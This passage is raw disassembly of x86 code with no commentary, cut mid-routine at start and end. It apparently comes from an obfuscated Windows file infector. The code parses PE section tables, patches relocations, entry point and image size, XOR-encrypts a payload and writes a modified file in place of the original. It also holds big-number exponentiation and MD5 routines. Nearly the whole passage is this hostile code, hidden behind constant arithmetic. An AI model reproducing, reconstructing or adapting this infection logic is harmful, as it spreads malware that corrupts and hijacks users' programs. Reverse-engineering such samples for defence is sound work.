call dword ptr ds:10012BACh
mov edi, ds:10013164h
sub edi, 3
mov ecx, 0FDh
cdq
idiv ecx
add edi, edx
mov [ebp+var_1064], edi
mov eax, ds:10013248h
mov edx, [ebp+var_42C]
mov ecx, edi
xor ecx, 4Dh
mov [edx+eax], cl
movsx edi, word ptr ds:10013130h
movsx edx, word ptr ds:100130C0h
add edi, edx
sub edi, 4
mov edx, [ebp+var_42C]
mov ecx, [ebp+arg_8]
shr ecx, 9
mov [edx+edi], cl
call dword ptr ds:10012BACh
mov edi, [ebp+var_84C]
mov edx, [ebp+var_42C]
mov [ebp+var_31F2C], edx
mov [ebp+var_31F28], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F2C]
mov [ecx+edi], dl
call dword ptr ds:10012BACh
movsx edx, word ptr ds:10013260h
add edx, ds:1001321Ch
sub edx, 9
add edi, edx
mov edx, [ebp+var_42C]
mov [ebp+var_31F34], edx
mov [ebp+var_31F30], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F34]
mov [ecx+edi], dl
mov eax, ds:100130B4h
add eax, 34h
movsx edx, word ptr ds:10013178h
add eax, edx
mov [ebp+var_43C], eax
jmp short loc_421D0E
; ---------------------------------------------------------------------------
loc_421CD9: ; CODE XREF: sub_421353+9C7j
call dword ptr ds:10012BACh
mov edi, [ebp+var_43C]
mov edx, [ebp+var_42C]
mov [ebp+var_31F3C], edx
mov [ebp+var_31F38], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F3C]
mov [ecx+edi], dl
inc [ebp+var_43C]
loc_421D0E: ; CODE XREF: sub_421353+984j
mov eax, [ebp+var_84C]
cmp [ebp+var_43C], eax
jb short loc_421CD9
cmp [ebp+var_1180], 0
jz short loc_421D9D
mov eax, [ebp+var_8]
mov edx, [eax+34h]
add edx, [eax+28h]
mov eax, ds:1001317Ch
movsx ecx, word ptr ds:100131FCh
add eax, ecx
sub eax, 3
add edx, eax
mov [ebp+var_31F40], edx
mov eax, [ebp+var_850]
add eax, ds:1001325Ch
mov edx, [ebp+var_4]
mov eax, [edx+eax]
mov [ebp+var_31F44], eax
movsx edx, word ptr ds:10013250h
mov ecx, ds:100130DCh
lea edx, [edx+ecx-5]
sub eax, edx
add eax, [ebp+var_31F40]
movsx edx, word ptr ds:10013100h
add edx, ds:100131A8h
dec edx
add eax, edx
mov [ebp+var_31F48], eax
mov eax, [ebp+var_8]
mov edx, [ebp+var_31F48]
sub edx, [eax+34h]
mov [eax+28h], edx
loc_421D9D: ; CODE XREF: sub_421353+9D0j
push 0Dh
push 100132C0h
lea eax, [ebp+var_31ED4]
push eax
call dword ptr ds:10011638h
mov eax, [esi+10h]
add eax, 0Dh
push eax
lea eax, [ebp+var_31ED4]
push eax
mov eax, [esi+14h]
add eax, [ebp+var_4]
push eax
call dword ptr ds:10011638h
add esp, 18h
mov eax, [esi+14h]
add eax, 0Dh
mov [ebp+var_1068], eax
movsx edx, word ptr ds:10013218h
sub edx, 3
add eax, edx
mov [ebp+var_424], eax
jmp short loc_421E09
; ---------------------------------------------------------------------------
loc_421DEF: ; CODE XREF: sub_421353+AC5j
mov eax, [ebp+var_424]
add eax, [ebp+var_4]
movzx edx, byte ptr [eax]
xor edx, [ebp+var_1064]
mov [eax], dl
inc [ebp+var_424]
loc_421E09: ; CODE XREF: sub_421353+A9Aj
mov eax, [ebp+var_1068]
add eax, [ebp+arg_8]
cmp [ebp+var_424], eax
jb short loc_421DEF
mov eax, ds:100131ECh
sub eax, 8
mov [ebp+var_18], eax
mov eax, ds:100131E8h
dec eax
mov [ebp+var_440], eax
jmp loc_422077
; ---------------------------------------------------------------------------
loc_421E36: ; CODE XREF: sub_421353+D34j
mov eax, 28h
mul [ebp+var_440]
mov [ebp+var_31F44], eax
mov eax, [ebp+var_84C]
mov edx, [ebp+var_42C]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F44]
mov ebx, edx
add ebx, eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F48], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F48]
mov esi, edx
add esi, eax
mov eax, ds:10013184h
add eax, ds:10013094h
sub eax, 8
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_421ECE
mov eax, ds:10013228h
sub eax, 2
cmp byte ptr [ebx+eax], 72h
jnz short loc_421ECE
mov eax, ds:100131CCh
dec eax
cmp byte ptr [ebx+eax], 63h
jnz short loc_421ECE
mov eax, [ebx+14h]
mov [ebp+var_1178], eax
jmp loc_422071
; ---------------------------------------------------------------------------
loc_421ECE: ; CODE XREF: sub_421353+B51j
; sub_421353+B5Fj ...
mov eax, ds:100130D4h
movsx edx, word ptr ds:100131FCh
add eax, edx
sub eax, 0Bh
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_421F26
movsx eax, word ptr ds:10013118h
add eax, ds:1001317Ch
sub eax, 7
cmp byte ptr [ebx+eax], 65h
jnz short loc_421F26
mov eax, ds:100130ACh
add eax, ds:1001326Ch
sub eax, 5
cmp byte ptr [ebx+eax], 61h
jnz short loc_421F26
mov eax, [ebx+14h]
mov [ebp+var_117C], eax
mov eax, [ebx+0Ch]
mov [ebp+var_1184], eax
jmp loc_422071
; ---------------------------------------------------------------------------
loc_421F26: ; CODE XREF: sub_421353+B90j
; sub_421353+BA6j ...
mov eax, ds:10013094h
mov edx, eax
sub edx, 6
cmp byte ptr [ebx+edx], 2Eh
jnz short loc_421F57
movsx edx, word ptr ds:10013218h
sub edx, 4
cmp byte ptr [ebx+edx], 69h
jnz short loc_421F57
add eax, ds:10013188h
dec eax
cmp byte ptr [ebx+eax], 61h
jz loc_422071
loc_421F57: ; CODE XREF: sub_421353+BE1j
; sub_421353+BF1j
push ebx
push esi
call dword ptr ds:1000F1F4h
mov eax, [ebx+8]
mov [esi+8], eax
mov eax, [ebp+var_20]
mov [esi+0Ch], eax
mov eax, [ebx+10h]
mov [esi+10h], eax
mov eax, [ebp+var_10]
mov [esi+14h], eax
mov eax, [ebx+24h]
mov [esi+24h], eax
mov eax, ds:10013280h
add eax, 8
push eax
mov eax, ds:10013198h
sub eax, 2
push eax
mov eax, esi
add eax, 18h
push eax
call dword ptr ds:10011644h
mov edi, [ebp+var_18]
mov edx, [ebx+0Ch]
mov [ebp+edi*4+var_420], edx
mov edx, [ebx+8]
mov [ebp+edi*4+var_83C], edx
mov edx, [esi+0Ch]
mov [ebp+edi*4+var_C4C], edx
mov edx, [esi+14h]
mov [ebp+edi*4+var_1050], edx
inc [ebp+var_18]
mov eax, [ebx+10h]
add [ebp+var_10], eax
mov eax, [ebp+var_10]
mov [ebp+var_31F40], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_10]
call sub_41D094
add esp, 1Ch
mov [ebp+var_10], eax
mov eax, ds:100130B8h
sub eax, 2
cmp byte ptr [ebx+eax], 64h
jnz short loc_42201A
mov eax, [ebp+var_31F40]
cmp [ebp+var_10], eax
jbe short loc_42201A
mov ecx, [ebp+var_10]
sub ecx, eax
mov [ebp+var_31F4C], ecx
mov eax, ecx
add [esi+8], eax
mov eax, ecx
add [esi+10h], eax
loc_42201A: ; CODE XREF: sub_421353+CA5j
; sub_421353+CB0j
movsx eax, word ptr ds:10013250h
movsx edx, word ptr ds:10013180h
lea eax, [eax+edx+0FFBh]
push eax
mov eax, [ebp+var_20]
add eax, [ebx+8]
push eax
call sub_41D094
mov [ebp+var_20], eax
mov eax, [ebp+var_8]
add eax, 6
inc word ptr [eax]
mov eax, [ebp+var_8]
mov edx, [esi+0Ch]
add edx, [ebx+8]
mov [eax+50h], edx
push dword ptr [esi+10h]
mov eax, [ebx+14h]
add eax, [ebp+var_42C]
push eax
mov eax, [esi+14h]
add eax, [ebp+var_4]
push eax
call dword ptr ds:10011638h
add esp, 14h
loc_422071: ; CODE XREF: sub_421353+B76j
; sub_421353+BCEj ...
inc [ebp+var_440]
loc_422077: ; CODE XREF: sub_421353+ADEj
mov eax, [ebp+var_848]
movzx eax, word ptr [eax+6]
cmp [ebp+var_440], eax
jb loc_421E36
mov eax, [ebp+var_1178]
add eax, [ebp+var_42C]
mov [ebp+var_14], eax
loc_42209C: ; CODE XREF: sub_421353+F90j
mov eax, ds:10013134h
movsx edx, word ptr ds:10013150h
add eax, edx
sub eax, 10h
mov [ebp+var_1C], eax
jmp short loc_42210E
; ---------------------------------------------------------------------------
loc_4220B2: ; CODE XREF: sub_421353+DC1j
mov edi, [ebp+var_1C]
mov edx, [ebp+var_14]
mov edx, [edx]
cmp [ebp+edi*4+var_420], edx
jnz short loc_4220CE
mov eax, [ebp+var_14]
mov eax, [eax]
mov [ebp+var_C50], eax
loc_4220CE: ; CODE XREF: sub_421353+D6Ej
mov edi, [ebp+var_1C]
shl edi, 2
mov edx, [ebp+edi+var_420]
add edx, [ebp+edi+var_83C]
mov edi, [ebp+var_14]
cmp edx, [edi]
jbe short loc_42210B
mov edi, [ebp+var_1C]
mov edi, [ebp+edi*4+var_1050]
mov [ebp+var_106C], edi
mov edi, [ebp+var_1C]
mov edi, [ebp+edi*4+var_C4C]
mov [ebp+var_1054], edi
jmp short loc_422116
; ---------------------------------------------------------------------------
loc_42210B: ; CODE XREF: sub_421353+D94j
inc [ebp+var_1C]
loc_42210E: ; CODE XREF: sub_421353+D5Dj
mov eax, [ebp+var_18]
cmp [ebp+var_1C], eax
jb short loc_4220B2
loc_422116: ; CODE XREF: sub_421353+DB6j
mov eax, ds:1001315Ch
add eax, ds:10013154h
sub eax, 10h
mov [ebp+var_428], eax
jmp loc_4222A9
; ---------------------------------------------------------------------------
loc_42212F: ; CODE XREF: sub_421353+F62j
mov eax, [ebp+var_428]
mov edx, ds:1001328Ch
movsx ecx, word ptr ds:10013264h
add edx, ecx
sub edx, 7
add eax, edx
add eax, [ebp+var_14]
mov [ebp+var_31F44], eax
mov ax, [eax]
mov word ptr [ebp+var_31F40], ax
movzx eax, word ptr [ebp+var_31F40]
mov edx, ds:10013224h
add edx, ds:1001318Ch
sub edx, 5
cmp eax, edx
jz loc_4222BB
movzx edi, word ptr [ebp+var_31F40]
movsx edx, word ptr ds:10013178h
mov ecx, ds:100131B0h
lea ecx, [edx+ecx+1]
sar edi, cl
mov word ptr [ebp+var_31F48+2], di
movzx edi, word ptr [ebp+var_31F40]
movsx ecx, word ptr ds:10013178h
shl edi, cl
mov word ptr [ebp+var_31F40+2], di
movzx edi, word ptr [ebp+var_31F40+2]
movsx edx, word ptr ds:100130D8h
add edx, ds:1001312Ch
mov ecx, edx
sub ecx, 6
sar edi, cl
mov word ptr [ebp+var_31F40+2], di
movzx eax, word ptr [ebp+var_31F40+2]
movsx edx, word ptr ds:100130B0h
sub edx, 7
cmp eax, edx
jnz short loc_422203
mov eax, ds:1001318Ch
add eax, ds:100130A0h
sub eax, 4
cmp [ebp+var_428], eax
jnz loc_4222BB
loc_422203: ; CODE XREF: sub_421353+E94j
mov eax, [ebp+var_848]
mov eax, [eax+34h]
mov edx, [ebp+var_14]
add eax, [edx]
movzx edx, word ptr [ebp+var_31F40+2]
add eax, edx
mov [ebp+var_31F4C], eax
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1054]
mov edx, [ebp+var_14]
add eax, [edx]
sub eax, [ebp+var_C50]
movzx edx, word ptr [ebp+var_31F40+2]
add eax, edx
mov [ebp+var_31F50], eax
sub eax, [ebp+var_31F4C]
mov [ebp+var_31F54], eax
movzx eax, word ptr [ebp+var_31F48+2]
movsx edx, word ptr ds:100131F0h
movsx ecx, word ptr ds:10013250h
add edx, ecx
dec edx
cmp eax, edx
jnz short loc_422299
mov eax, [ebp+var_106C]
mov edx, [ebp+var_14]
add eax, [edx]
sub eax, [ebp+var_C50]
movzx edx, word ptr [ebp+var_31F40+2]
add eax, edx
add eax, [ebp+var_4]
mov [ebp+var_31F58], eax
mov edx, [ebp+var_31F54]
add [eax], edx
loc_422299: ; CODE XREF: sub_421353+F19j
movsx eax, word ptr ds:10013178h
sub eax, 2
add [ebp+var_428], eax
loc_4222A9: ; CODE XREF: sub_421353+DD7j
mov eax, [ebp+var_14]
mov eax, [eax+4]
cmp [ebp+var_428], eax
jb loc_42212F
loc_4222BB: ; CODE XREF: sub_421353+E21j
; sub_421353+EAAj
mov eax, [ebp+var_14]
mov edx, [eax+4]
add edx, eax
mov [ebp+var_14], edx
mov eax, [ebp+var_848]
mov eax, [eax+0A4h]
mov edx, [ebp+var_1178]
add edx, [ebp+var_42C]
add eax, edx
cmp [ebp+var_14], eax
jb loc_42209C
mov eax, [ebp+var_8]
mov ecx, [eax+28h]
mov [ebp+var_1188], ecx
mov edx, [ebp+var_1060]
mov [eax+28h], edx
cmp [ebp+var_1180], 0
jnz short loc_422326
add eax, 60h
mov edx, [ebp+var_848]
mov edx, [edx+60h]
add [eax], edx
mov eax, [ebp+var_8]
add eax, 68h
mov edx, [ebp+var_848]
mov edx, [edx+68h]
add [eax], edx
loc_422326: ; CODE XREF: sub_421353+FB2j
mov eax, [ebp+var_8]
mov edx, ds:1001309Ch
add edx, 4
movsx ecx, word ptr ds:10013178h
add edx, ecx
mov [eax+44h], dx
mov edx, ds:100130ECh
add edx, ds:100130A8h
sub edx, 2
mov [eax+1Ah], dl
mov edx, ds:100131B8h
add edx, ds:10013184h
sub edx, 5
mov [eax+46h], dx
mov eax, [ebp+var_117C]
add eax, [ebp+var_42C]
mov [ebp+var_31EE0], eax
mov eax, [ebp+var_117C]
mov edx, [ebp+var_31EE0]
add eax, [edx+1Ch]
sub eax, [ebp+var_1184]
mov [ebp+var_31EE4], eax
add eax, [ebp+var_42C]
mov [ebp+var_31EE8], eax
mov eax, [eax]
mov [ebp+var_1058], eax
mov eax, ds:100130DCh
sub eax, 3
mov [ebp+var_24], eax
jmp short loc_4223F3
; ---------------------------------------------------------------------------
loc_4223B2: ; CODE XREF: sub_421353+10A6j
mov edi, [ebp+var_24]
shl edi, 2
mov edx, [ebp+edi+var_420]
add edx, [ebp+edi+var_83C]
cmp edx, [ebp+var_1058]
jbe short loc_4223F0
mov edi, [ebp+var_24]
mov edi, [ebp+edi*4+var_420]
mov [ebp+var_118C], edi
mov edi, [ebp+var_24]
mov edi, [ebp+edi*4+var_C4C]
mov [ebp+var_1194], edi
jmp short loc_4223FB
; ---------------------------------------------------------------------------
loc_4223F0: ; CODE XREF: sub_421353+1079j
inc [ebp+var_24]
loc_4223F3: ; CODE XREF: sub_421353+105Dj
mov eax, [ebp+var_18]
cmp [ebp+var_24], eax
jb short loc_4223B2
loc_4223FB: ; CODE XREF: sub_421353+109Bj
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1194]
add eax, [ebp+var_1058]
sub eax, [ebp+var_118C]
mov [ebp+var_1190], eax
mov eax, [ebp+var_848]
mov eax, [eax+34h]
add eax, [ebp+var_1058]
mov [ebp+var_1058], eax
mov eax, [ebp+var_850]
mov [ebp+var_C], eax
jmp loc_422701
; ---------------------------------------------------------------------------
loc_42243C: ; CODE XREF: sub_421353+13BAj
mov eax, [ebp+var_C]
mov edx, [ebp+var_4]
mov [ebp+var_31F40], edx
movzx ecx, byte ptr [edx+eax]
mov edi, ds:1001326Ch
add edi, 0E0h
cmp ecx, edi
jnz loc_422594
mov ecx, ds:100131E8h
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
movsx edi, word ptr ds:10013170h
add edi, ds:100131D0h
sub edi, 9
cmp ecx, edi
jnz loc_422594
movsx ecx, word ptr ds:100130B0h
sub ecx, 5
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
mov edi, ds:10013090h
movsx edx, word ptr ds:10013174h
add edi, edx
mov edx, edi
sub edx, 0Ah
cmp ecx, edx
jnz loc_422594
mov edx, ds:100131E8h
add edx, 2
mov ecx, eax
add ecx, edx
mov edx, [ebp+var_31F40]
movzx edx, byte ptr [edx+ecx]
movsx ecx, word ptr ds:10013264h
movsx edi, word ptr ds:10013230h
add ecx, edi
sub ecx, 0Fh
cmp edx, ecx
jnz loc_422594
movsx edx, word ptr ds:10013100h
inc edx
add eax, edx
mov edx, [ebp+var_31F40]
movzx eax, byte ptr [edx+eax]
movsx edx, word ptr ds:10013260h
sub edx, 2
cmp eax, edx
jnz loc_422594
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1060]
mov edx, [ebp+var_C]
sub edx, [ebp+var_850]
add eax, edx
mov [ebp+var_31F44], eax
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1188]
mov [ebp+var_31F48], eax
movsx eax, word ptr ds:10013180h
add eax, 0FFFFFFFBh
sub eax, [ebp+var_31F44]
add eax, [ebp+var_31F48]
mov edx, ds:10013274h
inc edx
movsx ecx, word ptr ds:100130C0h
add edx, ecx
sub eax, edx
mov [ebp+var_31F4C], eax
movsx edi, word ptr ds:100130C0h
movsx edx, word ptr ds:10013150h
add edi, edx
mov edx, [ebp+var_C]
mov ecx, ds:10013238h
inc ecx
add ecx, ds:100130C8h
add edx, ecx
add edx, [ebp+var_4]
mov ecx, eax
mov [edx+edi*4-28h], ecx
loc_422594: ; CODE XREF: sub_421353+1107j
; sub_421353+112Dj ...
mov eax, [ebp+var_C]
mov edx, [ebp+var_4]
mov [ebp+var_31F44], edx
movzx ecx, byte ptr [edx+eax]
movsx edi, word ptr ds:100131E0h
mov edx, ds:10013128h
lea edx, [edi+edx+0DCh]
cmp ecx, edx
jnz loc_4226FE
mov edx, ds:100130A0h
sub edx, 3
mov ecx, eax
add ecx, edx
mov edx, [ebp+var_31F44]
movzx edx, byte ptr [edx+ecx]
movsx ecx, word ptr ds:1001324Ch
sub ecx, 9
cmp edx, ecx
jnz loc_4226FE
mov edx, ds:1001318Ch
movsx ecx, word ptr ds:1001322Ch
add edx, ecx
sub edx, 5
mov ecx, eax
add ecx, edx
mov edx, [ebp+var_31F44]
movzx edx, byte ptr [edx+ecx]
mov ecx, ds:100131E4h
movsx edi, word ptr ds:10013150h
add ecx, edi
sub ecx, 0Ch
cmp edx, ecx
jnz loc_4226FE
mov edx, ds:10013210h
movsx ecx, word ptr ds:10013104h
add ecx, edx
sub ecx, 6
mov edi, eax
add edi, ecx
mov ecx, [ebp+var_31F44]
movzx ecx, byte ptr [ecx+edi]
mov edi, ds:1001325Ch
sub edi, 8
cmp ecx, edi
jnz loc_4226FE
movsx ecx, word ptr ds:10013250h
lea edx, [edx+ecx+2]
add eax, edx
mov edx, [ebp+var_31F44]
movzx eax, byte ptr [edx+eax]
movsx edx, word ptr ds:10013264h
add edx, ds:1001317Ch
sub edx, 0Eh
cmp eax, edx
jnz short loc_4226FE
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1060]
mov edx, [ebp+var_C]
sub edx, [ebp+var_850]
add eax, edx
mov [ebp+var_31F48], eax
mov eax, [ebp+var_1190]
mov [ebp+var_31F4C], eax
mov eax, ds:100131ACh
add eax, 0FFFFFFFAh
sub eax, [ebp+var_31F48]
add eax, [ebp+var_31F4C]
movsx edx, word ptr ds:10013178h
add edx, ds:100130A0h
sub edx, 4
sub eax, edx
mov [ebp+var_31F50], eax
movsx edi, word ptr ds:10013150h
add edi, ds:1001309Ch
mov edx, [ebp+var_C]
mov ecx, ds:10013268h
add ecx, ds:1001311Ch
sub ecx, 8
add edx, ecx
add edx, [ebp+var_4]
mov ecx, eax
mov [edx+edi*4-34h], ecx
loc_4226FE: ; CODE XREF: sub_421353+1267j
; sub_421353+1290j ...
inc [ebp+var_C]
loc_422701: ; CODE XREF: sub_421353+10E4j
mov eax, [ebp+var_850]
add eax, 0Dh
cmp [ebp+var_C], eax
jb loc_42243C
push [ebp+var_1070]
call dword ptr ds:10011654h
push [ebp+arg_0]
lea eax, [ebp+var_116F]
push eax
call dword ptr ds:1000F1F4h
add esp, 8
lea ecx, [ebp+var_116F]
or eax, 0FFFFFFFFh
loc_42273B: ; CODE XREF: sub_421353+13EDj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_42273B
mov [ebp+var_31ED8], eax
movsx edx, word ptr ds:100130A4h
sub edx, 3
sub eax, edx
mov [ebp+eax+var_116F], 69h
mov eax, [ebp+var_31ED8]
mov edx, ds:1001323Ch
add edx, ds:10013154h
sub edx, 0Ah
sub eax, edx
mov [ebp+eax+var_116F], 76h
mov eax, [ebp+var_31ED8]
movsx edx, word ptr ds:100131FCh
movsx ecx, word ptr ds:10013218h
add edx, ecx
sub edx, 9
sub eax, edx
mov [ebp+eax+var_116F], 72h
push 0
mov eax, ds:100130D4h
sub eax, 6
push eax
push 2
push 0
movsx eax, word ptr ds:100131E0h
movsx edx, word ptr ds:100131C0h
add eax, edx
sub eax, 7
push eax
push 40000000h
lea eax, [ebp+var_116F]
push eax
call dword ptr ds:10012788h
mov [ebp+var_1070], eax
push 0
lea eax, [ebp+var_31EDC]
push eax
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_1070]
call dword ptr ds:10012B8Ch
push [ebp+var_1070]
call dword ptr ds:10011654h
push [ebp+var_4]
call dword ptr ds:1000F61Ch
push 0
push [ebp+arg_0]
lea eax, [ebp+var_116F]
push eax
call dword ptr ds:10010364h
lea eax, [ebp+var_116F]
push eax
call dword ptr ds:1000D008h
mov eax, 1
jmp short loc_422846
; ---------------------------------------------------------------------------
loc_42282F: ; CODE XREF: sub_421353+C3j
; sub_421353+DDj ...
push [ebp+var_1070]
call dword ptr ds:10011654h
push [ebp+var_4]
call dword ptr ds:1000F61Ch
xor eax, eax
loc_422846: ; CODE XREF: sub_421353+5Fj
; sub_421353+14DAj
pop edi
pop esi
pop ebx
leave
retn
sub_421353 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42284B proc near ; CODE XREF: .data:0041D33Ep
; .data:0041D401p
var_1000C = dword ptr -1000Ch
var_10003 = byte ptr -10003h
var_FFFF = byte ptr -0FFFFh
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
mov eax, 10004h
call sub_423379
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
lea edi, ds:10010260h
cmp [ebp+arg_4], 43h
jnz short loc_422870
lea edi, ds:1000F0F0h
loc_422870: ; CODE XREF: sub_42284B+1Dj
push 0
push 80h
push 3
push 0
push 3
push 0C0000000h
push edi
call dword ptr ds:10012788h
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_42292A
push 0
push 0
push esi
push edi
call dword ptr ds:10012B9Ch
push 0
lea eax, [ebp+var_4]
push eax
push 0FFFFh
lea eax, [ebp+var_10003]
push eax
push edi
call dword ptr ds:1000D028h
lea ecx, [ebp+var_FFFF]
or eax, 0FFFFFFFFh
loc_4228C2: ; CODE XREF: sub_42284B+7Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4228C2
mov edx, ds:10013238h
add edx, 1
movsx ecx, word ptr ds:100131C0h
add edx, ecx
mov ebx, eax
add ebx, edx
mov [ebp+var_4], ebx
mov ebx, ds:100130C8h
add ebx, ds:10013258h
mov edx, [ebp+var_4]
mov [ebp+ebx*4+var_1000C+1], edx
push 0
push 0
push esi
push edi
call dword ptr ds:10012B9Ch
push 0
lea eax, [ebp+var_4]
push eax
movsx eax, word ptr ds:10013264h
sub eax, 5
push eax
lea eax, [ebp+var_10003]
push eax
push edi
call dword ptr ds:10012B8Ch
push edi
call dword ptr ds:10011654h
loc_42292A: ; CODE XREF: sub_42284B+43j
pop edi
pop esi
pop ebx
leave
retn
sub_42284B endp
; ---------------------------------------------------------------------------
db 90h
db 90h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422931 proc near ; CODE XREF: sub_41A1D1+13p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
pusha
cld
mov edi, [ebp+arg_4]
mov eax, 1
stosd
mov ecx, 0Fh
dec eax
rep stosd
lea edi, ds:10014B28h
mov esi, [ebp+arg_0]
mov ecx, 10h
rep movsd
mov edi, [ebp+arg_8]
call sub_4229FC
xor edx, edx
loc_422961: ; CODE XREF: sub_422931+52j
push edx
push ebx
mov eax, [ebp+arg_8]
bt [eax], edx
jnb short loc_422973
mov edx, [ebp+arg_4]
call sub_42298D
loc_422973: ; CODE XREF: sub_422931+38j
lea edx, ds:10014B28h
call sub_42298D
pop ebx
pop edx
inc edx
cmp edx, ebx
jbe short loc_422961
popa
pop ebp
retn 10h
sub_422931 endp
; ---------------------------------------------------------------------------
dw 8B2Eh
db 0C0h
; =============== S U B R O U T I N E =======================================
sub_42298D proc near ; CODE XREF: sub_422931+3Dp
; sub_422931+48p
lea edi, ds:10014AE8h
mov ecx, 10h
xor eax, eax
rep stosd
lea edi, ds:10014B28h
call sub_4229FC
loc_4229A7: ; CODE XREF: sub_42298D+5Dj
lea edi, ds:10014AE8h
mov ecx, 10h
xor eax, eax
loc_4229B4: ; CODE XREF: sub_42298D+2Cj
rcl dword ptr [edi], 1
lea edi, [edi+4]
loop loc_4229B4
call sub_422A0D
bt ds:10014B28h, ebx
jnb short loc_4229E9
mov esi, edx
lea edi, ds:10014AE8h
xor eax, eax
mov ecx, 10h
loc_4229D8: ; CODE XREF: sub_42298D+55j
mov eax, [esi]
adc [edi], eax
lea esi, [esi+4]
lea edi, [edi+4]
loop loc_4229D8
call sub_422A0D
loc_4229E9: ; CODE XREF: sub_42298D+3Aj
dec ebx
jns short loc_4229A7
mov edi, edx
lea esi, ds:10014AE8h
mov ecx, 10h
rep movsd
retn
sub_42298D endp
; =============== S U B R O U T I N E =======================================
sub_4229FC proc near ; CODE XREF: sub_422931+29p
; sub_42298D+15p
mov ebx, 1FFh
loc_422A01: ; CODE XREF: sub_4229FC+Bj
bt [edi], ebx
jb short locret_422A09
dec ebx
jnz short loc_422A01
locret_422A09: ; CODE XREF: sub_4229FC+8j
retn
sub_4229FC endp
; ---------------------------------------------------------------------------
dw 8B2Eh
db 0C0h
; =============== S U B R O U T I N E =======================================
sub_422A0D proc near ; CODE XREF: sub_42298D+2Ep
; sub_42298D+57p
lea esi, ds:10014AE8h
mov edi, [ebp+14h]
mov ecx, 0Fh
loc_422A1B: ; CODE XREF: sub_422A0D+19j
mov eax, [esi+ecx*4]
cmp eax, [edi+ecx*4]
jb short locret_422A44
ja short loc_422A28
dec ecx
jns short loc_422A1B
loc_422A28: ; CODE XREF: sub_422A0D+16j
mov esi, [ebp+14h]
lea edi, ds:10014AE8h
xor eax, eax
mov ecx, 10h
loc_422A38: ; CODE XREF: sub_422A0D+35j
mov eax, [esi]
sbb [edi], eax
lea esi, [esi+4]
lea edi, [edi+4]
loop loc_422A38
locret_422A44: ; CODE XREF: sub_422A0D+14j
retn
sub_422A0D endp
; =============== S U B R O U T I N E =======================================
sub_422A45 proc near ; CODE XREF: sub_422A96+32p
; sub_422A96+50p ...
mov eax, ebx
and eax, ecx
push ebx
not ebx
and ebx, edx
or eax, ebx
pop ebx
retn
sub_422A45 endp
; =============== S U B R O U T I N E =======================================
sub_422A52 proc near ; CODE XREF: sub_422A96+219p
; sub_422A96+238p ...
mov eax, ebx
and eax, edx
push edx
not edx
and edx, ecx
or eax, edx
pop edx
retn
sub_422A52 endp
; =============== S U B R O U T I N E =======================================
sub_422A5F proc near ; CODE XREF: sub_422A96+420p
; sub_422A96+43Fp ...
mov eax, ebx
xor eax, ecx
xor eax, edx
retn
sub_422A5F endp
; =============== S U B R O U T I N E =======================================
sub_422A66 proc near ; CODE XREF: sub_422A96+627p
; sub_422A96+645p ...
mov eax, edx
not eax
or eax, ebx
xor eax, ecx
retn
sub_422A66 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422A6F proc near ; CODE XREF: sub_41C6CD+73p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
pusha
mov edi, [ebp+arg_0]
mov dword ptr [edi], 67452301h
mov dword ptr [edi+4], 0EFCDAB89h
mov dword ptr [edi+8], 98BADCFEh
mov dword ptr [edi+0Ch], 10325476h
popa
pop ebp
retn 4
sub_422A6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422A96 proc near ; CODE XREF: sub_41C6CD+8Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
pusha
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, [edi]
mov ds:10014B68h, eax
mov eax, [edi+4]
mov ds:10014B6Ch, eax
mov eax, [edi+8]
mov ds:10014B70h, eax
mov eax, [edi+0Ch]
mov ds:10014B74h, eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_422A45
add eax, [edi]
add eax, [esi]
add eax, 0D76AA478h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_422A45
add eax, [edi+0Ch]
add eax, [esi+4]
add eax, 0E8C7B756h
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_422A45
add eax, [edi+8]
add eax, [esi+8]
add eax, 242070DBh
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_422A45
add eax, [edi+4]
add eax, [esi+0Ch]
add eax, 0C1BDCEEEh
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
